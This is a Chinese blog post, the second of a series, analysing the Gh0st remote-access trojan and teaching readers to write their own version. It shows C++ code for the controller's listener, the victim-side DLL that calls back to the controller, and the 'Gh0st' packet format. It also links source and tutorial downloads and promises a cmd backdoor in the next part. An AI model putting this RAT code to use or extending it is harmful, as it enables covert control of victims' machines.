gh0st源码分析与远控的编写(二)

上次说了那么多,基本上就是一个叫“大局观”的东西,只有脑子里有了一个软件的设计、运行思路,才能把一个一个类写出来,组合在一起。

Gh0st的作者是一个对代码有很好掌控的人,他对代码的组合,类之间的关系,面向对象的思想有很深入的理解。而对我们看源码的人来说,这种结构化、条理化的程序,阅读起来十分轻松,思路也十分清晰。

废话不多说,我们今天来看一下gh0st的上线。所谓上线,就是我们被控端启动起来,并主动连接我们主控端,建立起TCP连接以后,主控端就可以通过相关命令来操作被控端了,这就是一台“肉鸡”的上线。

上线以后,主控端就获取到被控端计算机的相关信息,如下图:

20130510_173119.jpg

界面就是完全按照老狼的gh0st教程中的界面设计的。我们打开源码,看看上线,gh0st是怎么处理的。

以后每次文章,我会把我的源码发上来,大家看我的源码就可以了。这里先简洁地介绍一下我的源码。有如下一些文件。

20130510_173300.jpg

这是一个解决方案,其中:MainDll是被控端,一个动态链接库的工程;DLLTest是加载dll的普通控制台工程;PhRemote是主控端工程,MFC的界面。Bin是我们输出文件夹,编译好的文件会在其中,其中又有两个文件夹,PhRemote是主控端,server是被控端,server中放着exe和dll,点击exe就算启动了被控端。Common中放着三个工程都可能用到的文件。

回到代码上。在主控端方面,首先我们开启了一个端口(80),来等待被控端的连接。这些工作由Activate函数完成(在PhRemote中搜索该函数找到它):

void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect)
{
    CString str;
    if (m_iocpServer != NULL)
    {
        m_iocpServer->Shutdown();
        delete m_iocpServer;
    }
    m_iocpServer = new CIOCPServer();

    if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort))
    {
        char hostname[256]; 
        gethostname(hostname, sizeof(hostname));
        HOSTENT *host = gethostbyname(hostname);
        if (host != NULL)
        { 
            for ( int i=0; ; i++ )
            { 
                str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
                if ( host->h_addr_list[i] + host->h_length >= host->h_name )
                    break;
                str += "/";
            }
        }
        str.Format("监听端口: %d成功", uPort);
        AddInfoList(TRUE, str);
    }
    else
    {
        str.Format("监听端口: %d失败”, uPort);
        AddInfoList(FALSE, str);
    }
}

首先,变量m_iocpServer,这是我们上次说到的gh0st数据传输使用的CIOCPServer类对象,m_iocpServer = new CIOCPServer(),为它在堆上分配内存。以后我们的数据传输,都使用该对象来完成。

之后我们调用了该对象一个成员函数:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我们右键 – 转到定义,可以查看到在CIOCPServer函数的定义。

大概就是初始化socket套接字的一个过程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 进入监听线程。这已经是socket编程的一个基础了,我就不多讲。不过,其中用到了Event这个概念,这是完成端口模型中用到的概念。大家可以自己网上搜索一些异步IO模型的相关资料学习。

在m_iocpServer->Initialize函数执行完成后,等于说已经开始监听80端口了。这个if语句中有一个for循环,该循环并没有用上,到此为止我也不知道老狼的源码中为什么会有这样一段。它的作用是获取本机在所有网段下的ip地址,以/分隔。

最后,监听成功或失败则向下面一个ListCtrl中增加一条信息。

好,我们在转向被控端,就是那个dll工程。我们这个DLL只有一个导出函数,就是TestRun,执行了这个函数,等于开启了被控端。找到该函数:

extern "C" __declspec(dllexport) void TestRun(char* strHost,int nPort )
{
    strcpy_s(g_strHost, _countof(g_strHost),strHost);   //保存上线地址
    g_dwPort = nPort;                                       //保存上线端口
    HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
  //这里等待线程结束
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

该函数有两个参数,分别是主控端的IP和端口。如果不知道IP和端口,我们也不能向主控端发起连接,不是吗?

本函数实际上是开启了一个线程,执行main函数。打开main函数,我只找关于上线的相关代码:

首先声明了一个CClientSocket socketClient;对象,我之前说了,被控端的数据传输,由CClientSocket类完成。

之后:

if (!socketClient.Connect(lpszHost, dwPort))
    {
    bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
    continue;
    }

之后调用了socketClient.Connect函数(参数依旧是主控端的IP和端口),从字面意思就可以猜到是由它来连接我们的主控端。于是,右键 – 转到定义,找到该函数。

其中可能涉及到sock5代理,Negle算法等复杂的过程,我就不展开了。你只要知道,调用了socketClient.Connect函数,我们就连接了主控端的80端口。

在socketClient.Connect函数的最后,我们看到,它又开启了一个线程,执行WorkThread函数,跟进此函数看:

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)   
{
    CClientSocket *pThis = (CClientSocket *)lparam;
    char    buff[MAX_RECV_BUFFER];
    fd_set fdSocket;
    FD_ZERO(&fdSocket);
    FD_SET(pThis->m_Socket, &fdSocket);
    while (pThis->IsRunning())                //---如果主控端没有退出,就一直陷在这个循环中
    {
        fd_set fdRead = fdSocket;
        int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接
        if (nRet == SOCKET_ERROR)      
        {
            pThis->Disconnect();
            break;
        }
        if (nRet > 0)
        {
            memset(buff, 0, sizeof(buff));
            int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据
            if (nSize <= 0)
            {
                pThis->Disconnect();//---接收错误处理
                break;
            }
            if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用OnRead处理
        }
    }
    return -1;
}

看注释就很清楚了。不多说,类似于一个select选择模型,来循环接受主控端发来的信息。正确接受信息,就调用OnRead处理,所以我们跟进OnRead函数。该函数注释写的很详细,有一点我要说明。

被控端与主控端通信,每条信息有一个数据头,我们来到CClientSocket类的构造函数,可以看到以下赋值:

BYTE bPacketFlag[] = {‘G’, ‘h’, ‘0’, ‘s’, ‘t’};

memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

m_bPacketFlag这也就是我们的数据头。相当于一个确认的作用,发来的包的前五个字节必须是”Gh0st”,否则就丢弃此包,抛出一个错误。

它是这样处理的:

BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
    throw "bad buffer";

FLAG_SIZE就是5,表示数据头大小5字节。首先copymemory,把前5字节从数据包中拷贝出来,再用memcmp比较是否是“Gh0st”,不是则throw出错误。

再往下看,第6-9个字节(一个int的大小),保存的是数据包的大小。

int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
//--- 判断数据的大小
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
    {...}

用CopyMemory拷贝出该数,nSize是拷贝出来的数据包大小,这是压缩后的数据包的大小。如果不出意外,进入if语句。If语句中,我们看到三个read:

m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));

m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));

m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));

分别读的就是数据头(Gh0st),数据包大小,压缩前大小。之后还有一个read:

m_CompressionBuffer.Read(pData, nCompressLength);

这就是读的数据了。所以说算一下,数据头5字节,两个int,8字节,一共13个字节,相当于是数据包的header部分,而从第14字节开始,就是真正的数据包了。

我们调用uncompress函数,解压缩数据包,得到需要的数据。Gh0st利用解压成功与否,判断一个数据包的好坏。如果解压成功,则执行OnReceive函数:

if (nRet == Z_OK)//---如果解压成功
{
    m_DeCompressionBuffer.ClearBuffer();
    m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
    //调用m_pManager->OnReceive函数
    m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
else
    throw "bad buffer";

OnReceive函数在CManager中定义,但并未实现(一个虚函数)。

我们看m_pManager,它其实是一个CManager类对象。由于多态的存在,在不同的情况下,它会指向不同的代码,执行不同的任务。(我觉得这是gh0st源码中面向对象的精髓所在)

它到底有什么用呢?下次我会给大家实现cmd后门的功能,到时候你就知道这个点的用处所在了。

【本文源码及doc下载:http://vdisk.weibo.com/s/u9oF-vwNrwpw4


2021年update:

时间过去了多年,当时的更新没坚持下去,现在gh0st已经过时很久了,所以一直没有再管这几篇文章。没想到这几年还是有不少人会来看,也多次找我要过老狼的gh0st视频教程。我翻了下很久以前的硬盘,虽然没找到当初的原版,还是找到了一个版本,也许能够满足大家的需求(需要翻墙下载):https://mega.nz/folder/IdpBCQyL

相关源码可以在Github找到。

相关推荐: gh0st源码分析与远控的编写(四)

真的很久很久了,距离上一次写gh0st的文章(https://www.leavesongs.com/C/gh0st_3.html),过去有大半年了。总算有一个时间,我放下手里所有的活,能够继续把这份努力延续下去。 以后对于gh0st的文章,就是一个一个模块的分…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论